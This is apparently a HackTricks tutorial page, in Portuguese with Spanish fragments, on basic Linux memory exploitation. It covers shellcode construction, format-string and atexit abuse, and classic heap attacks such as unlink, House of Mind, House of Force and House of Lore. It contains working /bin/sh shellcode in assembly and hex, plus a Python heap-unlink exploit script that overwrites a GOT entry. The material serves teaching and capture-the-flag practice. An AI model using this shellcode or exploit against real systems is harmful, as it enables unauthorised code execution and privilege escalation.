hacktricks/exploiting/linux-exploiting-basic-esp/README.md

570 lines
32 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **2.SHELLCODE**
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpamos eax\
xor ebx, ebx ; ebx = 0 pois não há argumento que passar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Executar syscall
**nasm -f elf assembly.asm** —> Nos retorna um .o\
**ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código assembly e podemos obter os opcodes com **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e obter os OpCodes
**Verificar se a shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e ainda coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, então com esse EIP podemos apontar para a string e além disso continuar executando o código.
EJ **TRUQUE (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ usando a Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
**Shellcodes polimórficos**
Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um **exemplo cifrado cesar**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5.Métodos complementarios**
**Técnica de Murat**
Em linux, todos os programas são mapeados começando em 0xbfffffff
Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. A endereço desta então pode ser calculada como: addr = 0xbfffffff - 4 - strlen(NOME\_ejecutable\_completo) - strlen(shellcode)
Dessa forma, obter-se-ia de forma simples a endereço onde está a variável de ambiente com a shellcode.
Isso pode ser feito graças à função execle que permite criar um ambiente que só tenha as variáveis de ambiente desejadas.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
A **sprintf moves** uma string formatada **para** uma **variável.** Portanto, você poderia abusar do **formato** de uma string para causar um **buffer overflow na variável** onde o conteúdo é copiado.\
Por exemplo, o payload `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um buffer overflow.
### **\_\_atexit Structures**
{% hint style="danger" %}
Hoje em dia é muito **estranho explorar isso**.
{% endhint %}
**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para uma shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64\_86**.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Hoje em dia é muito **estranho explorar isso**.
{% endhint %}
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
**`longjmp()`** permite **restaurar** o **contexto**.\
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela **`PTR_MANGLE`** função, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\
Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
**VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ele poderia ser **modificado** para **apontar** para um método fictício, de forma que a execução de uma função vá para a shellcode.
## **Medidas preventivas e evasões**
###
**Reemplazo de Libsafe**
É ativado com: LD\_PRELOAD=/lib/libsafe.so.2\
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
**ASCII Armored Address Space**
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system().
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de código**
Valgrind —> Busca erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev\_size |\
size | —Cabeçalho\
\*mem | Dados
**Trozo livre**
prev\_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabeçalho\
\*mem | Dados
Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam).
Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária.
Se ao liberar um trozo algum dos contíguos estiver livre, eles se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado.
unlink(){\
BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes\
FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes\
FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk\
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim se executa ao sair do programa a shellcode.
Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode.
Portanto, o exploit é criado:
No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode.
Depois da shellcode colocamos preenchimento até chegar ao campo prev\_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que se sobrescreva o prev\_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev\_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará **unlink()**.
Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, ali se colocará o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que o bit que indica que o anterior trozo está livre esteja a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º trozo está 4bytes atrás (aponta para prev\_size) pois é aí que olha se o 2º trozo está livre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload no início vamos colocar 8bytes de preenchimento**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que se sobrescreverá para que se lance a shellcode na 2ª vez que se chamar free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se disse, o payload começa com 8 bytes de preenchimento porque sim**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica o 2º trozo, o got\_free aponta para onde vamos guardar a direção addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 chunks consecutivos e eles são liberados em ordem inversa à reservada.
Nesse caso:
No chunk c coloca-se a shellcode
O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado, de forma que pense que o chunk a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.
Então, o programa pensará que “a” está livre e em um bin, portanto chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, portanto em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
Dessa forma, se em bk colocarmos o endereço da shellcode e em fd colocarmos o endereço da função “puts()”-12, temos nosso payload.
**Técnica de Frontlink**
Chama-se frontlink quando se libera algo e nenhum de seus trozos contíguos está livre, não se chama unlink() mas sim diretamente frontlink().
Vulnerabilidade útil quando o malloc que se ataca nunca é liberado (free()).
Necessita:
Um buffer que possa ser desbordado com a função de entrada de dados
Um buffer contíguo a este que deve ser liberado e ao qual se modificará o campo fd de seu cabeçalho graças ao desbordamento do buffer anterior
Um buffer a liberar com um tamanho maior que 512, mas menor que o buffer anterior
Um buffer declarado antes do passo 3 que permita sobrescrever o prev\_size deste
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas que só se libera esse um, podemos fazer um exploit.
**Vulnerabilidade double free()**
Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço.
No caso de querer voltar a usar um, ele seria atribuído sem problemas. No caso de querer usar outro, seria atribuído o mesmo espaço, portanto teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior.
**After free()**
Um ponteiro previamente liberado é usado novamente sem controle.
## **8 Heap Overflows: Exploits avançados**
As técnicas de Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().
**The house of mind**
Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. É interessante buscar um segundo trozo que pode ser desbordado por um anterior e liberado.
Uma chamada a free() provoca chamar public\_fREe(mem), este faz:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Retorna um ponteiro ao endereço onde começa o trozo (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
\_int\_free(ar\_ptr, mem);
}
Em \[1] verifica o campo size o bit NON\_MAIN\_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap\_for\_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar\_ptr (como se fosse um struct heap\_info)
Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e vai ser liberado um trozo em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando esse segundo trozo for liberado, encontrará que heap\_for\_ptr(ptr)->ar\_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar\_ptr)
Dessa forma, chama-se \_int\_free(ar\_ptr, mem), ou seja, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que vai ser liberado.
Tal como se define unsorted\_chunks, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Portanto, se em av->bins\[2] escrevemos o valor de \_\_DTOR\_END\_\_-12, na última instrução se escreverá em \_\_DTOR\_END\_\_ o endereço do segundo trozo.
Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é daí que av->bins\[2] o tirará.
No endereço que cair o endereço do segundo trozo com os últimos 5 zeros, deve-se escrever o endereço a este primeiro trozo para que heap\_for\_ptr() pense que o ar\_ptr está ao início do primeiro trozo e saque daí o av->bins\[2].
No segundo trozo e graças ao primeiro, sobrescrevemos o prev\_size com um jump 0x0c e o size com algo para ativar -> NON\_MAIN\_ARENA.
A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode.
Dessa forma, chamará \_int\_free(TROZO1, TROZO2) e seguirá as instruções para escrever em \_\_DTOR\_END\_\_ o endereço do prev\_size do TROZO2, o qual saltará para a shellcode.
Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
Essa técnica já não é aplicável, pois foi aplicado quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind.
Nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço ao trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max\_fast esteja no endereço que vamos sobrescrever.
Dado que com The House of Mind vimos que nós controlávamos a posição do av.
Então, se no campo size colocarmos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apontará para av->max\_fast.
Nesse caso, av->max\_fast será o endereço que se sobrescreverá (não a que aponte, mas essa posição será a que se sobrescreverá).
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops).
Além disso, esse mesmo trozo falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes mais além.
Por culpa dos nulos de \_DTOR\_END\_ e das poucas direções na GOT, nenhum endereço dessas seções serve para ser sobrescrito, assim que vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o **av** para a pilha.
Se modificarmos o size para que dê 16 em vez de 8, então: fastbin\_index() nos devolverá fastbins\[0] e podemos fazer uso disso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET.
Os 4 bytes nulos são necessários para que o **av** esteja a esse endereço e o primeiro elemento de um **av** é o mutex que deve valer 0.
O **av->max\_fast** será o EBP e será um valor que nos servirá para saltar as restrições.
No **av->fastbins\[0]** se sobrescreverá com o endereço de **p** e será o RET, assim se saltará para a shellcode.
Além disso, em **av->system\_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá saltar a verificação que se realiza.
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso).
**The House of Spirit**
Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48.
Se por exemplo o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse a cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que se escreve nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser.
Isso creio que é porque assim quando o liberar free() guardará que no endereço que aponta ao EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se quer reservar, assim que lhe atribui esse endereço.
**The House of Force**
É necessário:
* Um overflow a um trozo que permita sobrescrever o wilderness
* Uma chamada a malloc() com o tamanho definido pelo usuário
* Uma chamada a malloc() cujos dados possam ser definidos pelo usuário
O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em \_int\_malloc() sem necessidade de expandir o heap.
O segundo é alterar o av->top para que aponte a uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará \&EIP - 8.
Temos que sobrescrever av->top para que aponte à zona de memória sob o controle do atacante:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, se guardará em av->top o valor alterado e o próximo malloc apontará ao EIP e poderá sobrescrevê-lo.
É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para \&EIP-8, o size ficará justo no campo EBP da pilha.
**The House of Lore**
**Corrupção SmallBin**
Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se se reserva um novo trozo e o anterior liberado pode servir, se o devolve, mas se se reserva maior, o trozo liberado em unsorted bins se coloca em seu bin adequado.
Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max\_fast (72 normalmente) e menor que MIN\_LARGE\_SIZE (512).
Se no bin há um trozo do tamanho adequado ao que se pede, se devolve esse depois de desenlaçá-lo:
bck = victim->bk; Aponta ao trozo anterior, é a única info que podemos alterar.
bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se lhe dará esse endereço.
bck->fd = bin; Se fecha a lista fazendo com que este aponte para bin.
É necessário:
Que se reservem dois malloc, de forma que ao primeiro se lhe possa fazer overflow depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, se tenha reservado um malloc superior ao segundo trozo antes de fazer o overflow).
Que o malloc reservado ao qual se lhe dá o endereço escolhido pelo atacante seja controlado pelo atacante.
O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin se enganará e se dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele.
Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduziria em seu bin.
Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever.
Assim, o bin deverá esperar turno até que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa.
Para que se execute a vulnerabilidade o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, se libera esse trozo, se reserva um trozo maior ao que se modificará, se modifica o trozo (vulnerabilidade), se reserva um trozo de igual tamanho ao vulnerado e se reserva um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido.
Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd\* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro.
**Corrupção LargeBin**
São necessários os mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512.
O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se precisam todas essas chamadas a malloc(), mas além disso, há que modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE.
Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
**Heap Spraying**
Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão se utiliza 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim se sobrescrever alguma direção a que se chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops.
**Heap Feng Shui**
Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos.
**objdump -d executável** > Disas functions\
**objdump -d ./PROGRAMA | grep FUNCION** —> Obter endereço da função\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes\
**objdump -t ./exec | grep varBss** —> Tabela de símbolos, para tirar endereço de variáveis e funções\
**objdump -TR ./exec | grep exit(func lib)** —> Para tirar endereço de funções de bibliotecas (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Tira o endereço de puts a sobrescrever na GOT\
**objdump -D ./exec** —> Disas ALL até as entradas da plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info da função em gdb
## Cursos interessantes
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referências**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}